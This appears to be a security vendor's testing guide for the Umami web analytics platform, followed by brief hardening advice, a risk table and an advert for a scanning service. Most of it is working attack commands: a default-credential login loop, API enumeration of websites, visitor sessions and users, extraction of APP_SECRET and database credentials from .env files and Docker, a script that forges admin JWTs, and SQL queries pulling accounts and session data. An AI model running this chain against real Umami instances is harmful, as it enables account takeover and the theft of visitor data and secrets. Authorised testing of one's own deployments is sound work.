Umami is a widely deployed open-source web analytics platform (Google Analytics alternative) built on Next.js, used to track website visitor data, pageviews, and custom events — it stores all visitor behavioral data including referrer URLs, UTM parameters, and geographic data. Notably, admin / umami are the documented default credentials that must be changed after installation. Key assessment areas: APP_SECRET signs JWT authentication tokens; the API provides access to all website analytics data; the database stores all visitor sessions and events; and website tracking IDs (used in the tracker script) can be enumerated to access individual website stats. This guide covers systematic Umami security assessment.
# Umami — default credentials and API token testing
UMAMI_URL="https://umami.example.com"
# Umami documented default credentials: admin / umami
# MUST be changed after installation per documentation
for CRED in "admin:umami" "admin:admin" "admin:password" "admin:changeme"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
AUTH=$(curl -s -X POST "${UMAMI_URL}/api/auth/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
t=d.get('token','')
print(f'OK: {t[:30]}' if t else 'FAIL')
" 2>/dev/null)
echo "${USER}/${PASS}: ${TOKEN}"
done
# Successful auth — get user info
TOKEN="your-umami-jwt-token"
curl -s "${UMAMI_URL}/api/me" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"username\")} role={d.get(\"role\")} id={d.get(\"id\")}')
" 2>/dev/null
# Umami REST API — website and analytics data enumeration
UMAMI_URL="https://umami.example.com"
TOKEN="your-umami-jwt-token"
# List all tracked websites
curl -s "${UMAMI_URL}/api/websites?includeTeams=true" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
sites = d.get('data',d) if isinstance(d,dict) else d
print(f'Websites: {len(sites)}')
for s in sites[:10]:
print(f' [{s.get(\"id\")}] {s.get(\"name\")} domain={s.get(\"domain\")} share_id={s.get(\"shareId\",\"none\")}')
" 2>/dev/null
WEBSITE_ID="your-website-id"
# Get website statistics
curl -s "${UMAMI_URL}/api/websites/${WEBSITE_ID}/stats?startAt=0&endAt=9999999999999" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Pageviews: {d.get(\"pageviews\",{}).get(\"value\")}')
print(f'Unique visitors: {d.get(\"uniques\",{}).get(\"value\")}')
print(f'Bounce rate: {d.get(\"bounces\",{}).get(\"value\")}')
" 2>/dev/null
# Get all sessions (visitor data with IP, browser, OS, referrer)
curl -s "${UMAMI_URL}/api/websites/${WEBSITE_ID}/sessions?startAt=0&endAt=9999999999999&page=1" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
sessions = d.get('data',d.get('sessions',[])) if isinstance(d,dict) else d
print(f'Sessions: {len(sessions)}')
for s in sessions[:5]:
print(f' country={s.get(\"country\")} city={s.get(\"city\")} browser={s.get(\"browser\")} os={s.get(\"os\")}')
" 2>/dev/null
# Get all users on the platform
curl -s "${UMAMI_URL}/api/users" \
-H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('data',d) if isinstance(d,dict) else d
print(f'Users: {len(users)}')
for u in users[:10]:
print(f' [{u.get(\"id\")}] {u.get(\"username\")} role={u.get(\"role\")} created={str(u.get(\"createdAt\",\"\"))[:10]}')
" 2>/dev/null
# Umami APP_SECRET and database credential extraction
# .env file — Umami secrets
cat /app/.env 2>/dev/null | grep -E "APP_SECRET|DATABASE_URL|SECRET"
# APP_SECRET — JWT signing secret for authentication tokens
# DATABASE_URL — PostgreSQL or MySQL connection string
# Docker environment variables
docker inspect umami 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['APP_SECRET','DATABASE','SECRET','PASSWORD']):
print(e)
" 2>/dev/null
# Forge JWT token using extracted APP_SECRET
APP_SECRET="extracted-secret"
node -e "
const crypto = require('crypto');
const now = Math.floor(Date.now()/1000);
const header = Buffer.from(JSON.stringify({alg:'HS256',typ:'JWT'})).toString('base64url');
const payload = Buffer.from(JSON.stringify({
userId: 'admin-user-id-from-db',
role: 'admin',
iat: now,
exp: now + 86400
})).toString('base64url');
const sig = crypto.createHmac('sha256','${APP_SECRET}').update(header+'.'+payload).digest('base64url');
console.log('Forged: '+header+'.'+payload+'.'+sig);
" 2>/dev/null
# PostgreSQL direct access — Umami schema
DATABASE_URL="postgresql://umami:PASSWORD@localhost/umami"
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- All users with hashed passwords
SELECT id, username, role, created_at
FROM account
ORDER BY role, created_at DESC
LIMIT 20;
EOF
# All tracked websites with their tracking IDs
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT website_id, name, domain, share_id,
user_id, team_id, created_at
FROM website
LIMIT 20;
EOF
# share_id — public share token for shared analytics dashboards
# Session data — visitor analytics including geographic data
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT s.session_id, s.website_id,
s.country, s.subdivision1, s.city,
s.browser, s.os, s.device,
s.screen, s.language, s.created_at
FROM session s
ORDER BY s.created_at DESC
LIMIT 10;
EOF
admin and password umami; this is one of the most widely known default credentials in the self-hosted analytics community and will be the first credential attempted by any attacker targeting a Umami instance; change the admin password on first login; rename the admin username from "admin" to an organization-specific account name; enable password complexity requirements; Umami does not include built-in two-factor authentication — implement 2FA at the SSO/reverse proxy level for admin accountsopenssl rand -hex 32; restrict .env file access to 600 owned by the Umami process user; use Docker secrets rather than environment variables in production; rotate APP_SECRET immediately if exposed (invalidates all active sessions)| Security Test | Method | Risk |
|---|---|---|
| Default credentials (admin/umami) | POST /api/auth/login with admin/umami — full admin access; documented default that is well-known and routinely targeted against all Umami deployments | Critical |
| APP_SECRET extraction and JWT token forgery | Read .env APP_SECRET — JWT signing secret; forge valid authentication tokens as any Umami user bypassing password authentication | Critical |
| Website analytics data enumeration | GET /api/websites — all tracked websites with domains; GET /api/websites/{id}/sessions — all visitor sessions with country, city, browser, referrer; business intelligence about traffic patterns | High |
| Public share token enumeration | Database SELECT from website — share_id tokens; shared dashboards accessible without authentication at /share/{share_id}; enables viewing analytics for any shared website | Medium |
| User account enumeration | GET /api/users — all Umami platform users with usernames and roles; database SELECT from account — password hashes for offline cracking | High |
Ironimo tests Umami deployments for default admin/umami credential exploitation, APP_SECRET extraction and JWT token forgery, API website and visitor session enumeration, public share token enumeration and access, user account enumeration and password hash extraction, DATABASE_URL PostgreSQL/MySQL credential extraction, Docker environment variable exposure, share_id database enumeration, traffic data unauthorized access testing, and admin interface network exposure assessment.
Start free scan